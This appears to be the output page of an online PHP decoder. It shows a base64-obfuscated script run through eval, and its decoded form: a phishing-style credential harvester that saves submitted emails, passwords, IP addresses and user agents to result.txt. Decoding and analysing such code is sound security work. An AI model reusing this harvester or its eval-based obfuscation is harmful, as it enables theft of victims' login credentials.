Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $data = 'aWYgKGlzc2V0KCRfUE9TVFsiZW1haWwiXSkgJiYgaXNzZXQoJF9QT1NUWyJwYXNzd29yZCJdKS..

Decoded Output download

if (isset($_POST["email"]) && isset($_POST["password"])) {
  $email=$_POST["email"];
  $password=$_POST["password"];
  $ip=$_SERVER["REMOTE_ADDR"];
  $device=$_POST["device"];
  
   $data="Email : " . $email. "
" . "Password : " .$password. "
" . "Ip : " .$ip. "
" . "userAgent :  " . $device . "
" . "
";
   
   $file=fopen("result.txt","a");
   fwrite($file, $data);
   fclose($file);
  }

Did this file decode correctly?

Original Code

<?php
$data = 'aWYgKGlzc2V0KCRfUE9TVFsiZW1haWwiXSkgJiYgaXNzZXQoJF9QT1NUWyJwYXNzd29yZCJdKSkgewogICRlbWFpbD0kX1BPU1RbImVtYWlsIl07CiAgJHBhc3N3b3JkPSRfUE9TVFsicGFzc3dvcmQiXTsKICAkaXA9JF9TRVJWRVJbIlJFTU9URV9BRERSIl07CiAgJGRldmljZT0kX1BPU1RbImRldmljZSJdOwogIAogICAkZGF0YT0iRW1haWwgOiAiIC4gJGVtYWlsLiAiXG4iIC4gIlBhc3N3b3JkIDogIiAuJHBhc3N3b3JkLiAiXG4iIC4gIklwIDogIiAuJGlwLiAiXG4iIC4gInVzZXJBZ2VudCA6ICAiIC4gJGRldmljZSAuICJcbiIgLiAiXG4iOwogICAKICAgJGZpbGU9Zm9wZW4oInJlc3VsdC50eHQiLCJhIik7CiAgIGZ3cml0ZSgkZmlsZSwgJGRhdGEpOwogICBmY2xvc2UoJGZpbGUpOwogIH0=';
$decode = base64_decode($data);
eval($decode);
?>

Function Calls

base64_decode 1

Variables

$data aWYgKGlzc2V0KCRfUE9TVFsiZW1haWwiXSkgJiYgaXNzZXQoJF9QT1NUWyJw..
$decode if (isset($_POST["email"]) && isset($_POST["password"])) { ..

Stats

MD5 33ce65bbefc3285102ca9a5fb8f88712
Eval Count 1
Decode Time 55 ms